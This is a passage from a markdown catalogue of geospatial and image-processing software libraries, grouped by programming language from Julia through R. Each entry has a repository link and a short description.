* [ImageFeatures.jl](https://github.com/JuliaImages/ImageFeatures.jl) - Image feature detection for the Julia language.
* [ImageFiltering.jl](https://github.com/JuliaImages/ImageFiltering.jl) - ImageFiltering implements blurring, sharpening, gradient computation, and other linear filtering operations, as well nonlinear filters like min/max.
* [ImageMetadata.jl](https://github.com/JuliaImages/ImageMetadata.jl) - ImageMetadata is a simple package providing utilities for working with images that have metadata attached.
* [ImageMorphology.jl](https://github.com/JuliaImages/ImageMorphology.jl) - This package provides morphology-related functionality to the Images.jl project.
* [Images.jl](https://github.com/JuliaImages/Images.jl) - An image processing library for Julia.
* [ImageSegmentation.jl](https://github.com/JuliaImages/ImageSegmentation.jl) - Julia package for multiple Image Segmentation Algorithms.
* [ImageTransformations.jl](https://github.com/JuliaImages/ImageTransformations.jl/tree/master/src) - This package provides support for image resizing, image rotation, and other spatial transformations of arrays.
* [Interpolations.jl](https://github.com/juliohm/Interpolations.jl) - This package implements a variety of interpolation schemes for the Julia language.
* [JuliaGIS](https://github.com/wkearn/GIS.jl) - A package for the visualization and manipulation of geographic data.
* [LASindex.jl](https://github.com/evetion/LASindex.jl) - Pure Julia reader of lasindex .lax files.
* [LasIO.jl](https://github.com/visr/LasIO.jl) - Native Julia package for working with .las pointcloud data.
* [LazIO.jl](https://github.com/evetion/LazIO.jl) - Extends LasIO with Laszip integration.
* [LibGEOS.jl](https://github.com/JuliaGeometry/LibGEOS.jl) - LibGEOS is a LGPL-licensed package for manipulation and analysis of planar geometric objects, based on the libraries GEOS (the engine of PostGIS) and JTS (from which GEOS is ported).
* [LibLAS.jl](https://github.com/visr/LibLAS.jl) - Julia wrapper for LibLAS, a library for reading and writing the LAS LiDAR format.
* [LibSpatialIndex.jl](https://github.com/JuliaGeo/LibSpatialIndex.jl) - A library for spatially indexing kD bounding box data (based on libspatialindex).
* [NearestNeighbors.jl](https://github.com/KristofferC/NearestNeighbors.jl) - High performance nearest neighbor data structures and algorithms for Julia.
* [NetCDF.jl](https://github.com/JuliaGeo/NetCDF.jl) - NetCDF support for the julia programming language.
* [NMEA.jl](https://github.com/zznop/NMEA.jl) - NMEA.jl is a package for parsing NMEA GPS protocol sentences.
* [OpenStreetMaps.jl](https://github.com/tedsteiner/OpenStreetMap.jl) - This package provides basic functionality for parsing, viewing, and working with OpenStreetMap map data.
* [OpenStreetMapX.jl](https://github.com/pszufe/OpenStreetMapX.jl) - Provides basic functionality for parsing, viewing, and working with OpenStreetMap map data.
* [OpenStreetMapXPlot.jl](https://github.com/pszufe/OpenStreetMapXPlot.jl) - Plotting functionality for the OpenStreetMapX.jl (Supports PyPlot.jl and Plots.jl with GR backend).
* [RasterDataSources.jl](https://github.com/EcoJulia/RasterDataSources.jl) - Downloads raster data for local use or for integration into other spatial data packages, like GeoData.jl.
* [Proj4.jl](https://github.com/JuliaGeo/Proj4.jl) - A simple wrapper around the Proj.4 cartographic projections library.
* [RasterIO.jl](https://github.com/wkearn/RasterIO.jl) - Simple Raster Formats for Julia.
* [RegionTrees.jl](https://github.com/rdeits/RegionTrees.jl) - Quadtrees, Octrees, and more in Julia.
* [Shapefile.jl](https://github.com/JuliaGeo/Shapefile.jl) - Parsing .shp files in Julia.
* [SpatialIndexing.jl](https://github.com/alyst/SpatialIndexing.jl) - Spatial data indexing in pure Julia (R*-trees etc).
* [STAC.jl](https://github.com/JuliaClimate/STAC.jl) - SpatioTemporal Asset Catalog (STAC) julia client.
* [Tinker.jl](https://github.com/JuliaImages/Tinker.jl) - Interactive graphical tool for complex image analysis.
* [Turf.jl](https://github.com/yeesian/Turf.jl) - This library is a port of Turf.js to the Julia programming language for geospatial analysis.
* [ViziCities](https://github.com/UDST/vizicities#getting-started) - A framework for 3D geospatial visualization in the browser.
* [VoronoiDelaunay.jl](https://github.com/JuliaGeometry/VoronoiDelaunay.jl) - Fast, robust construction of 2D Delaunay and Voronoi tessellations on generic point types.
* [Watershed.jl](https://github.com/seung-lab/Watershed.jl) - This is a translation of Zlateski's C++ Watershed code.
## Kotlin
* [geospatial-messenger](https://github.com/sdeleuze/geospatial-messenger) - Geospatial messenger application written with Spring Boot + Kotlin + PostgreSQL.
* [Lets-Plot](https://github.com/JetBrains/lets-plot-kotlin/blob/master/docs/geotools.md) - An open-source plotting library. Together with GeoTools it allows you to visualize geospatial data in Jupyter notebooks or a JVM application.
## Lisp
* [cl-ewkb](https://github.com/filonenko-mikhail/cl-ewkb/) - Common Lisp PostGIS EWKB data model and encoder/decoder.
* [cl-proj](https://github.com/vityok/cl-proj) - CL-PROJ provides CFFI-based Common Lisp bindings for the PROJ.4 library.
* [utm](https://github.com/jl2/utm) - Lisp library for converting between latitude/longitude and UTM.
## Lua
* [geo.lua](https://github.com/RedisLabs/geo.lua) - A helper library for Redis geospatial indices.
* [Tarantool/GIS](https://github.com/tarantool/gis) - A full-featured geospatial extension for Tarantool.
* [TerraME](http://www.terrame.org/doku.php) - TerraME is a programming environment for spatial dynamical modelling. It supports cellular automata, agent-based models, and network models running in 2D cell spaces.
## MATLAB
* [CCDC](https://github.com/GERSL/CCDC) - Algorithm developed for Continuous Change Detection and Classification (CCDC) of land cover using all available Landsat data.
* [ChangeDetectionToolbox](https://github.com/Bobholamovic/ChangeDetectionToolbox) - MATLAB Toolbox for Remote Sensing Change Detection.
* [Cmask](https://github.com/GERSL/Cmask) - This tool called Cmask (Cirrus cloud mask) is used for cirrus cloud detection in Landsat 8 imagery using a time series of data from the Cirrus Band (1.36 – 1.39 µm).
* [COLD](https://github.com/GERSL/COLD) - Algorithm for COntinuous monitoring of Land Disturbance (COLD) using Landsat time series.
* [MFmask](https://github.com/qsly09/MFmask) - Automated cloud and cloud shadow detection for Landsats 4-8 images.
## Nim
* [fp_denoise](https://github.com/jblindsay/fp_denoise) - A tool for de-noising raster digital elevation models.
* [kdtree](https://github.com/jblindsay/kdtree) - A pure Nim k-d tree implementation for efficient spatial querying of point data.
* [wbt_nim](https://github.com/jblindsay/wbt_nim) - A Nim-based API for using the WhiteboxTools geospatial data analysis library.
## Perl
* [address formatting](https://github.com/OpenCageData/address-formatting) - Templates to format geographic addresses.
* [Geo::GDAL](https://metacpan.org/pod/Geo::GDAL) - Perl extension for the GDAL library for geospatial data.
## Python
* [aiocogeo](https://github.com/geospatial-jeff/aiocogeo) - Asynchronous cogeotiff reader.
* [aiocogeo](https://github.com/geospatial-jeff/aiocogeo) - Read Cloud Optimized GeoTiffs without GDAL.
* [Alpha Shape Toolbox](https://github.com/bellockk/alphashape) - Toolbox for constructing alpha shapes.
* [AnaFlow](https://github.com/GeoStat-Framework/AnaFlow) - A python-package containing analytical solutions for the groundwater flow equation.
* [ArcGIS Python API](https://developers.arcgis.com/python/) - ArcGIS API for Python is a Python library for working with maps and geospatial data, powered by web GIS.
* [autoRIFT](https://github.com/leiyangleon/autoRIFT) - Python module of a fast and intelligent algorithm for finding the pixel displacement between two images.
* [Cartopy](http://scitools.org.uk/cartopy/) - A library providing cartographic tools for python for plotting spatial data.
* [cdsapi](https://github.com/ecmwf/cdsapi) - Python API to access the Copernicus Climate Data Store (CDS).
* [cedar-datacube](https://github.com/ceholden/cedar-datacube) - Create Earth engine Datacubes of Analytical Readiness.
* [Centroids](https://github.com/lyzidiamond/centroids) - This application reads a valid geojson FeatureCollection and returns a valid geojson FeatureColleciton of centroids.
* [chupaESRI](https://github.com/johnjreiser/chupaESRI) - ChupaESRI is a Python module/command line tool to extract features from ArcGIS Server map services.
* [Climata](https://github.com/heigeo/climata) - Python library for loading and iterating over climate and flow time series data (from ACIS/NOAA RCCs, CoCoRaHS, Hydromet/USBR, CNRFC ESP/NWS, SNOTEL/AWDB/NRCS, and NWIS/USGS).
* [CoastSat](https://github.com/kvos/CoastSat) - CoastSat is an open-source software toolkit written in Python that enables users to obtain time-series of shoreline position at any coastline worldwide from 30+ years (and growing) of publicly available satellite imagery.
* [cog_validator](https://github.com/rouault/cog_validator) - This is a standalone (Python / Flask) service that allows users to submit GeoTIFF files (preferably by URL) and check their compliance with the Cloud Optimized GeoTIFF (COG) specification.
* [cubo](https://github.com/davemlz/cubo) - Easily create EO mini cubes from STAC in Python.
* [CuPy](https://github.com/cupy/cupy) - NumPy-like API accelerated with CUDA.
* [cuSpatial](https://github.com/rapidsai/cuspatial) - GPU-Accelerated Spatial and Trajectory Data Management and Analytics Library.
* [dask-geopandas](https://github.com/geopandas/dask-geopandas) - Parallelized GeoPandas with Dask.
* [dask-rasterio](https://github.com/dymaxionlabs/dask-rasterio) - Read and write rasters in parallel using Rasterio and Dask.
* [Descartes](https://pypi.python.org/pypi/descartes) - Plot geometries in matplotlib.
* [Detectree](https://github.com/martibosch/detectree) - DetecTree is a Pythonic library to classify tree/non-tree pixels from aerial imagery.
* [EarthPy](https://github.com/earthlab/earthpy) - A package built to support working with spatial data using open source python.
* [elevation](https://github.com/bopen/elevation) - Python script to download global terrain digital elevation models, SRTM 30m DEM and SRTM 90m DEM.
* [eo-box](https://github.com/benmack/eo-box) - Earth observation processing framework for machine learning in Python.
* [EODAG](https://eodag.readthedocs.io/en/latest/) - Command line tool and a plugin-oriented Python framework for searching, aggregating results and downloading remote sensed images while offering a unified API for data access regardless of the data provider.
* [EOmaps](https://github.com/raphaelquast/EOmaps) - Create interactive maps to visualize, analyze and compare geographical datasets (based on matplotlib/cartopy).
* [EOReader](https://github.com/sertit/eoreader) - EOReader is a multi-satellite reader allowing you to open optical and SAR data.
* [Fiona](https://fiona.readthedocs.io/en/latest/) - For making it easy to read/write geospatial data formats.
* [forestatrisk](https://github.com/ghislainv/forestatrisk) - Python package to model and forecast the risk of deforestation.
* [FreeType](https://code.google.com/archive/p/freetype-py/) - For converting font glyphs to polygons.
* [geemap](https://github.com/giswqs/geemap) - A Python package for interactive mapping with Google Earth Engine, ipyleaflet, and ipywidgets.
* [geeup](https://github.com/samapriya/geeup) - Simple CLI for Earth Engine Uploads.
* [GemGIS](https://github.com/cgre-aachen/gemgis) - Python-based, open-source geographic information processing library.
* [geoalchemy](https://github.com/geoalchemy/geoalchemy) - Using SQLAlchemy with spatial databases.
* [geoapify](https://github.com/huels-originals/geoapify) - CLI and Python client for Geoapify's location services.
* [geocube](https://github.com/corteva/geocube) - Tool to convert geopandas vector data into rasterized xarray data.
* [GeoDaSpace](https://github.com/GeoDaCenter/GeoDaSpace) - Software for Advanced Spatial Econometrics.
* [GeoPandas](https://github.com/geopandas/geopandas) - Python tools for geographic data.
* [geospatial](https://github.com/giswqs/geospatial) - A collection of Python packages for geospatial analysis and data visualization.
* [GSTools](https://github.com/GeoStat-Framework/GSTools) - A geostatistical toolbox: random fields, variogram estimation, covariance models, kriging and much more.
* [trackintel](https://github.com/mie-lab/trackintel) - A GeoPandas extension for tracking data
* [networkx](http://networkx.github.io/) - To work with networks.
* [Shapely](https://pypi.python.org/pypi/Shapely) - Manipulation and analysis of geometric objects in the Cartesian plane.
* [PyKrige](https://github.com/GeoStat-Framework/PyKrige) - Kriging Toolkit for Python.
* [PySAL](https://pysal.org/pysal/api.html) - For all your spatial econometrics needs.
* [Rasterstats](https://github.com/perrygeo/python-rasterstats/) - Python module for summarizing geospatial raster datasets based on vector geometries.
* [GeoDjango](https://docs.djangoproject.com/en/2.2/ref/contrib/gis/) - Django geographic web framework.
* [geojson-area](https://github.com/scisco/area) - Calculate the area inside of any GeoJSON geometry.
* [geojson-area](https://github.com/scisco/area) - Calculate the area inside of any GeoJSON geometry. This is a port of Mapbox's geojson-area for Python.
* [geojsonio.py](https://github.com/jwass/geojsonio.py) - Open GeoJSON data on geojson.io from Python. geojsonio.py also contains a command line utility that is a Python port of geojsonio-cli.
* [GeoLambda](https://github.com/developmentseed/geolambda) - Create and deploy Geospatial AWS Lambda functions Python.
* [geopatra](https://github.com/Sangarshanan/geopatra) - Interactive Maps with Geopandas.
* [geopy](https://github.com/geopy/geopy) - geopy is a Python 2 and 3 client for several popular geocoding web services.
* [geosnap](https://github.com/spatialucr/geosnap) - geosnap makes it easier to explore, model, analyze, and visualize the social and spatial dynamics of neighborhoods.
* [GeostatsPy](https://github.com/GeostatsGuy/GeostatsPy) - GSLIB reimplimented in Python
* [geotiff](https://github.com/Open-Source-Agriculture/geotiff) - A noGDAL tool for reading geotiff files.
* [get_modis](https://github.com/jgomezdans/get_modis) - Downloading MODIS data from the USGS repository.
* [GIPPY](https://github.com/gipit/gippy) - Geospatial Image Processing for Python.
* [gpdvega](https://github.com/iliatimofeev/gpdvega) - gpdvega is a bridge between GeoPandas and Altair that allows to seamlessly chart geospatial data.
* [HyRiver](https://hyriver.readthedocs.io) - A suite of Python packages for retrieving various geospatial/temporal data from public web services.
* [HPGL](https://github.com/hpgl/hpgl) - High Perfomance Geostatistics Library.
* [Intake-stac](https://github.com/intake/intake-stac) - This is an intake data source for SpatioTemporal Asset Catalogs (STAC).
* [LANDSAT-Download](https://github.com/olivierhagolle/LANDSAT-Download) - Automated download of LANDSAT data from USGS website.
* [landsat-extract-gee](https://github.com/loicdtx/landsat-extract-gee) - Get Landsat surface reflectance time-series from google earth engine.
* [Landsat-util](https://github.com/developmentseed/landsat-util) - Landsat-util is a command line utility that makes it easy to search, download, and process Landsat imagery.
* [landsatxplore](https://github.com/yannforget/landsatxplore) - Search and download Landsat scenes from EarthExplorer.
* [leafmap](https://github.com/giswqs/leafmap) - A Python package for geospatial analysis and interactive mapping with minimal coding in a Jupyter environment.
* [Lets-Plot](https://lets-plot.org) - An open-source plotting library supporting visualization of geospatial data on static or interactive maps.
* [lidar](https://github.com/giswqs/lidar) - Terrain and hydrological analysis using digital elevation models (DEMs).
* [localtileserver](https://github.com/banesullivan/localtileserver) - A Python package for serving tiles from large raster files in the Slippy Maps standard (i.e., `/zoom/x/y.png`) for visualization in Jupyter with `ipyleaflet` or `folium`.
* [LT-ChangeDB](https://github.com/eMapR/LT-ChangeDB) - Scripts to extract spectral change information from LandTrendr data to a geodatabase.
* [Mahotas-imread](https://github.com/luispedro/imread) - Read images to numpy arrays.
* [Mahotas](https://github.com/luispedro/mahotas) - Mahotas is a library of fast computer vision algorithms (all implemented in C++ for speed) operating over numpy arrays.
* [mapboxgl-jupyter](https://github.com/mapbox/mapboxgl-jupyter) - Use Mapbox GL JS to visualize data in a Python Jupyter notebook.
* [Mapchete](https://github.com/ungarj/mapchete) - Mapchete processes raster and vector geodata in digestable chunks. Tile-based geodata processing.
* [mapclassify](https://github.com/pysal/mapclassify) - Classification schemes for choropleth mapping.
* [momepy](https://github.com/martinfleis/momepy) - Momepy is a library for quantitative analysis of urban form - urban morphometrics.
* [MovingPandas](https://github.com/anitagraser/movingpandas) - Implementation of Trajectory classes and functions built on top of GeoPandas.
* [ MuseoToolBox](https://github.com/nkarasiak/MuseoToolBox) - Museo ToolBox is a python library to simplify the use of raster/vector, especially for machine learning and remote sensing.
* [networkit](https://github.com/networkit/networkit) - NetworKit is a growing open-source toolkit for large-scale network analysis.
* [networkx](http://networkx.github.io/) - To work with networks.
* [NodeBox-opengl](http://www.cityinabottle.org/nodebox/) - For playing around with animations.
* [Ogcserver](https://github.com/mapnik/OGCServer) - Python WMS implementation using Mapnik.
* [Open-Elevation](https://github.com/Jorl17/open-elevation) - A free and open-source alternative to Google Elevation API.
* [openrouteservice-py](https://github.com/GIScience/openrouteservice-py) - The Python API to consume openrouteservice(s) painlessly!
* [Open Topo Data](https://github.com/ajnisbet/opentopodata) - Open Topo Data is a REST API server for your elevation data.
* [orbit-predictor](https://github.com/satellogic/orbit-predictor) - Orbit Predictor is a Python library to propagate orbits of Earth-orbiting objects (satellites, ISS, Santa Claus, etc) using TLE (Two-Line Elements set).
* [osm2geojson](https://github.com/aspectumapp/osm2geojson) - Parse OpenStreetMap (OSM) XML and Overpass JSON/XML.
* [OSMnet](https://github.com/UDST/osmnet) - Tools for the extraction of OpenStreetMap street network data.
* [pandana](https://github.com/UDST/pandana) - Pandas Network Analysis - dataframes of network queries, quickly.
* [Peartree](https://github.com/kuanb/peartree) - Peartree: A library for converting transit data into a directed graph for network analysis.
* [pipgeo](https://github.com/samapriya/pipgeo) - pipgeo: CLI for Unofficial windows Geospatial library wheels.
* [Planet Movement](https://github.com/rhammell/planet-movement) - Python module enables the searching and processing of Planet imagery to highlight object movement between valid image pairs.
* [planetary-computer](https://pypi.org/project/planetary-computer/) - Python library for interacting with the Microsoft Planetary Computer.
* [PODPAC](https://podpac.org/) - PODPAC is a python library that builds on the scientific python ecosystem to enable simple, reproducible geospatial analyses that run locally or in the cloud.
* [prosail](https://github.com/jgomezdans/prosail) - Python bindings for the PROSAIL canopy reflectance model.
* [pyCSW](http://pycsw.org/) - Fully implements the OpenGIS Catalogue Service Implementation Specification (Catalogue Service for the Web). Initial development started in 2010 (more formally announced in 2011). The project is certified OGC Compliant, and is an OGC Reference Implementation.
* [pydeck](https://pydeck.gl) – Python bindings for deck.gl
* [pydelatin](https://github.com/kylebarron/pydelatin) - Python bindings to `hmm` for fast terrain mesh generation
* [pyDEM](https://github.com/creare-com/pydem) - Python library for Global Hydrology Analysis. Used to calculate upstream contributing area, aspect, slope, and topographic wetness index.
* [pygeoapi](https://pygeoapi.io/)pygeoapi is a Python server implementation of the OGC API suite of standards. The project emerged as part of the next generation OGC API efforts in 2018 and provides the capability for organizations to deploy a RESTful OGC API endpoint using OpenAPI, GeoJSON, and HTML.
* [pyGEOS](https://github.com/pygeos/pygeos) - Exposes geospatial operations from GEOS into Python.
* [pyGMT](https://github.com/GenericMappingTools/pygmt) - Pythonic interface for the Generic Mapping Tools (GMT).
* [pyimpute](https://github.com/perrygeo/pyimpute) - Python module for geospatial prediction using scikit-learn and rasterio.
* [pyKriging](https://github.com/capaulson/pyKriging) - N-dimensional kriging.
* [pyle38](https://github.com/iwpnd/pyle38) - Asynchronous Client for the worlds fastest in-memory geo-database Tile38
* [pymap3d](https://github.com/scivision/pymap3d) - Python 3D coordinate conversions for geospace ecef enu eci.
* [pymartini](https://github.com/kylebarron/pymartini) - A Cython port of Martini for fast RTIN terrain mesh generation
* [Pyncf](https://github.com/karimbahgat/pyncf) - Pure Python NetCDF file reading and writing.
* [PyPostal](https://github.com/openvenues/pypostal) - Python bindings to libpostal for fast international address parsing/normalization.
* [PyProj](https://github.com/jswhit/pyproj) - For conversions between projections.
* [PyQGIS](http://docs.qgis.org/testing/en/docs/pyqgis_developer_cookbook/) - Python for QGIS.
* [pyroSAR](https://github.com/johntruckenbrodt/pyroSAR) - A Python Framework for Large-Scale SAR Satellite Data Processing.
* [pyrosm](https://github.com/HTenkanen/pyrosm) - Read OpenStreetMap data from Protobuf files into GeoDataFrame with Python, faster.
* [PyShp](https://code.google.com/archive/p/pyshp/) - For reading and writing shapefiles.
* [PySTAC](https://github.com/stac-utils/pystac) - Python library for working with any SpatioTemporal Asset Catalog (STAC).
* [Python Geocoder](https://github.com/DenisCarriere/geocoder) - Simple and consistent geocoding library written in Python.
* [python-opencage-geocoder](https://github.com/OpenCageData/python-opencage-geocoder) - A Python module that uses the OpenCage Geocoding API.
* [pyWPS](http://pywps.org/) - An implementation of the Web Processing Service standard from the Open Geospatial Consortium. PyWPS is written in Python. It enables integration, publishing and execution of Python processes via the WPS standard.
* [RasterFrames](https://github.com/locationtech/rasterframes) - RasterFrames brings together Earth-observation (EO) data access, cloud computing, and DataFrame-based data science.
* [Rasterio](https://github.com/mapbox/rasterio) - Rasterio employs GDAL under the hood for file I/O and raster formatting.
* [Rasterstats](https://github.com/perrygeo/python-rasterstats/) - Python module for summarizing geospatial raster datasets based on vector geometries.
* [RichDEM](https://github.com/r-barnes/richdem) - High-performance Terrain and Hydrology Analysis.
* [rio-cogeo](https://github.com/mapbox/rio-cogeo) - CloudOptimized GeoTIFF creation plugin for rasterio.
* [rio-color](https://github.com/mapbox/rio-color) - Color correction plugin for rasterio.
* [rio-hist](https://github.com/mapbox/rio-hist) - Histogram matching plugin for rasterio.
* [rio-tiler](https://github.com/mapbox/rio-tiler) - Get mercator tile from landsat, sentinel or other AWS hosted raster.
* [RIOS](https://www.rioshome.org/en/latest/) - Raster I/O Simplification. A set of python modules which makes it easy to write raster processing code in Python.
* [rioxarray](https://github.com/corteva/rioxarray) - rasterio xarray extension.
* [routing-py](https://github.com/gis-ops/routing-py) - Python library to access all public routing, isochrones and matrix APIs in a consistent manner.
* [RSGISLib](http://www.rsgislib.org/) - The Remote Sensing and GIS software library (RSGISLib) is a collection of tools for processing remote sensing and GIS datasets. The tools are accessed using Python bindings or an XML interface.
* [Rtree](http://toblerity.org/rtree/) - For efficiently querying spatial data.
* [S2P - Satellite Stereo Pipeline](https://github.com/cmla/s2p) - S2P is a Python library and command line tool that implements a stereo pipeline which produces elevation models from images taken by high resolution satellites.
* [satpy](https://satpy.readthedocs.io/en/latest/) - Satpy is a python library for reading, manipulating, and writing data from remote-sensing earth-observing meteorological satellite instruments.
* [scikit-eo](https://github.com/ytarazona/scikit-eo) - A Python package for Remote Sensing Tools.
* [SciKit-Gstat](https://scikit-gstat.readthedocs.io/en/latest/) - SciKit-Gstat is a scipy-styled analysis module for variogram analysis.
* [Scikit-image](http://scikit-image.org/) - Scikit-image is a collection of algorithms for image processing.
* [scikit-mobility](https://github.com/scikit-mobility/scikit-mobility) - Mobility analysis in Python.
* [sentinelsat](https://github.com/sentinelsat/sentinelsat) - Search and download Copernicus Sentinel satellite images.
* [Shapely](https://pypi.python.org/pypi/Shapely) - Manipulation and analysis of geometric objects in the Cartesian plane.
* [Siphon](https://github.com/unidata/siphon) - A collection of Python utilities for retrieving atmospheric and oceanic data from remote sources, focusing on being able to retrieve data from Unidata data technologies, such as the THREDDS data server.
* [som-tsp](https://github.com/DiegoVicen/som-tsp) - Solving the Traveling Salesman Problem using Self-Organizing Maps.
* [Spectral Python](https://github.com/spectralpython/spectral) - Python module for hyperspectral image processing.
* [spyndex](https://github.com/awesome-spectral-indices/spyndex) - Awesome Spectral Indices in Python.
* [stac-fastapi](https://github.com/stac-utils/stac-fastapi) - STAC API implementation with FastAPI.
* [stackstac](https://github.com/gjoseph92/stackstac) - Turn a STAC catalog into a dask-based xarray.
* [stactools](https://github.com/stac-utils/stactools) - Command line utility and Python library for STAC.
* [starfm4py](https://github.com/nmileva/starfm4py) - The STARFM fusion model for Python (image fusion).
* [Statsmodels](http://statsmodels.sourceforge.net/) - Python module that allows users to explore data, estimate statistical models, and perform statistical tests.
* [telluric](https://github.com/satellogic/telluric) - telluric is a Python library to manage vector and raster geospatial data in an interactive and easy way.
* [thunder](https://github.com/thunder-project/thunder) - Thunder is an ecosystem of tools for the analysis of image and time series data in Python.
* [Tobler](https://github.com/pysal/tobler) - Tobler is a python package for areal interpolation, dasymetric mapping, and change of support.
* [ts-raster](https://github.com/adbeda/ts-raster) - ts-raster is a python package for analyzing time-series characteristics from raster data. It allows feature extraction, dimension reduction and applications of machine learning techniques for geospatial data.
* [Turfpy](https://github.com/omanges/turfpy) - This is Python library for performing geo spatial data analysis. This is an python alternative for turf.js.
* [unmixing](https://github.com/arthur-e/unmixing) - Interactive tools and functions for performing linear spectral mixture analysis (LSMA) and spatially adaptive spectral mixture analysis (SASMA).
* [untiler](https://github.com/mapbox/untiler) - Stitch image tiles into larger composite TIFs.
* [urbanaccess](https://github.com/UDST/urbanaccess) - A tool for computing GTFS transit and OSM pedestrian networks for accessibility analysis.
* [urbansim](https://github.com/UDST/urbansim) - New version of UrbanSim, a platform for modeling metropolitan real estate markets.
* [USGS API](https://github.com/kapadia/usgs) - USGS is a python module for interfacing with the US Geological Survey's API.
* [Verde](https://github.com/fatiando/verde) - Verde is a Python library for processing spatial data (bathymetry, geophysics surveys, etc) and interpolating it on regular grids (i.e., gridding).
* [whitebox](https://github.com/giswqs/whitebox) - Python frontend for [WhiteboxTools](https://github.com/jblindsay/whitebox-tools).
* [WhiteboxTools-ArcGIS](https://github.com/giswqs/WhiteboxTools-ArcGIS) - ArcGIS Python Toolbox for [WhiteboxTools](https://github.com/jblindsay/whitebox-tools).
* [xarray-spatial](https://github.com/makepath/xarray-spatial) - xarray-spatial implements common raster analysis functions using Numba and provides an easy-to-install, easy-to-extend codebase for raster analysis.
* [xarray](http://xarray.pydata.org/en/stable/) - xarray (formerly xray) is an open source project and Python package that aims to bring the labeled data power of pandas to the physical sciences, by providing N-dimensional variants of the core pandas data structures.
* [xarray_leaflet](https://github.com/davidbrochart/xarray_leaflet) - An xarray extension for tiled map plotting.
* [xcube](https://github.com/dcs4cop/xcube) - xcube is a Python package for generating and exploiting data cubes powered by xarray, dask, and zarr.
* [xyzservices](https://github.com/geopandas/xyzservices) - A unified source of XYZ tile providers in Python.
* [YATSM](https://github.com/ceholden/yatsm) - Yet Another Timeseries Model (YATSM) is a Python package for utilizing a collection of timeseries algorithms and methods designed to monitor the land surface using remotely sensed imagery.
## PHP
* [FreeGeoDB](https://github.com/delight-im/FreeGeoDB) - Free database of geographic place names and corresponding geospatial data.
* [geojson](https://github.com/jmikola/geojson) - GeoJSON implementation for PHP.
* [GeoPHP](https://geophp.net/) - Advanced geometry operations in PHP.
* [geospatial](https://github.com/php-geospatial/geospatial) - PHP Extension to handle common geospatial functions.
* [laragis](https://github.com/ralphschindler/laragis) - A standalone Geo/GIS Provider for Laravel.
* [laravel-geo](https://github.com/eleven-lab/laravel-geo) - GeoSpatial integration on Laravel 5.2+ that supports MySQL and PostgreSQL.
* [li3_geo](https://github.com/nateabele/li3_geo) - Adds geospatial support to Lithium for multiple databases, including MongoDB, CouchDB and MySQL.
* [PHP Azure Maps Provider](https://github.com/max-langerman/azure-maps-provider) - A PHP Azure Maps Geocoder Provider.
* [PHP7 Mapnik](https://github.com/garrettrayj/php7-mapnik) - PHP extension for geospatial rendering with Mapnik.
* [shapefile](https://github.com/phpmyadmin/shapefile) - ESRI ShapeFile library for PHP.
* [ShapeReader](https://github.com/muka/ShapeReader) - A PHP library to parse ESRI Shape files.
## R
* [ade4](https://cran.r-project.org/web/packages/ade4/index.html) - Tools for multivariate data analysis. Several methods are provided for the analysis (i.e., ordination) of one-table (e.g., principal component analysis, correspondence analysis), two-table (e.g., coinertia analysis, redundancy analysis), three-table (e.g., RLQ analysis) and K-table (e.g., STATIS, multiple coinertia analysis).
* [adehabitat](https://cran.r-project.org/web/packages/adehabitat/index.html) - A collection of tools for the analysis of habitat selection by animals.
* [adehabitatHR](https://cran.r-project.org/web/packages/adehabitatHR/index.html) - A collection of tools for the estimation of animals home range.
* [adehabitatHS](https://cran.r-project.org/web/packages/adehabitatHS/index.html) - A collection of tools for the analysis of habitat selection.
* [adehabitatLT](https://cran.r-project.org/web/packages/adehabitatLT/index.html) - A collection of tools for the analysis of animal movements.
* [adehabitatMA](https://cran.r-project.org/web/packages/adehabitatMA/index.html) - A collection of tools to deal with raster maps.
* [Akima](https://cran.r-project.org/web/packages/akima/index.html) - Interpolation of Irregularly and Regularly Spaced Data.
* [AMOEBA](https://cran.r-project.org/web/packages/AMOEBA/index.html) - A function to calculate spatial clusters using the Getis-Ord local statistic. It searches irregular clusters (ecotopes) on a map.
* [bfastSpatial](https://github.com/loicdtx/bfastSpatial) - Package to pre-process gridded time-series data in order for them to be analyzed with change detection algorithms such as bfast. Uses classes from the raster package and includes utilities to run the algorithms and post-process the results.
* [biodivMapR](https://github.com/jbferet/biodivMapR) - R package for α- and β-diversity mapping using remotely-sensed images.
* [CARBayes](https://cran.r-project.org/web/packages/CARBayes/index.html) - Package implements Bayesian hierarchical spatial areal unit models.
* [cartography](https://github.com/riatelab/cartography) - Thematic Cartography with R.
* [classInt](https://cran.r-project.org/web/packages/classInt/index.html) - Selected commonly used methods for choosing univariate class intervals for mapping or other graphics purposes.
* [climateR](https://github.com/mikejohnson51/climateR) - An R package for getting point and gridded climate data by AOI.
* [CompRandFld](https://cran.r-project.org/web/packages/CompRandFld/index.html) - A set of procedures for the analysis of Random Fields using likelihood and non-standard likelihood methods is provided.
* [constrainedKriging](https://cran.r-project.org/web/packages/constrainedKriging/index.html) - Provides functions for efficient computations of nonlinear spatial predictions with local change of support.
* [cshapes](https://cran.r-project.org/web/packages/cshapes/index.html) - Package for CShapes, a GIS dataset of country boundaries (1946-today). Includes functions for data extraction and the computation of distance matrices and -lists.
* [dbmss](https://cran.r-project.org/web/packages/dbmss/index.html) - Simple computation of spatial statistic functions of distance to characterize the spatial structures of mapped objects.
* [deldir](https://cran.r-project.org/web/packages/deldir/index.html) - Calculates the Delaunay triangulation and the Dirichlet or Voronoi tessellation (with respect to the entire plane) of a planar point set.
* [dggridR](https://cran.r-project.org/web/packages/dggridR/index.html) - Provides an interface to DGGRID for working with discrete global grids, using hexagons, triangles, and diamonds to overcome the issue that every bin have the same area.
* [DSpat](https://cran.r-project.org/web/packages/DSpat/index.html) - Fits inhomogeneous Poisson process spatial models to line transect sampling data and provides estimate of abundance within a region.
* [dtwSat](https://github.com/vwmaus/dtwSat) - Time-Weighted Dynamic Time Warping for satellite image time series analysis.
* [earthEngineGrabR](https://github.com/JesJehle/earthEngineGrabR) - The earthEngineGrabR is an interface between R and the Google Earth Engine, which simplifies the acquisition of remote sensing data.
* [ecespa](https://cran.r-project.org/web/packages/ecespa/index.html) - Functions for Spatial Point Pattern Analysis.
* [edgebundle](https://github.com/schochastics/edgebundle) - R package implementing edge bundling algorithms.
* [elsa](https://github.com/babaknaimi/elsa) - ELSA (entropy-based local indicator of spatial association) is a novel spatial statistic to measure local spatial autocorrelation in both categorical and continuous spatial data.
* [exactextractr](https://github.com/isciences/exactextractr) - R package for fast and accurate raster zonal statistics.
* [ExceedanceTools](https://cran.r-project.org/web/packages/ExceedanceTools/index.html) - Tools for constructing confidence regions for exceedance regions and contour lines.
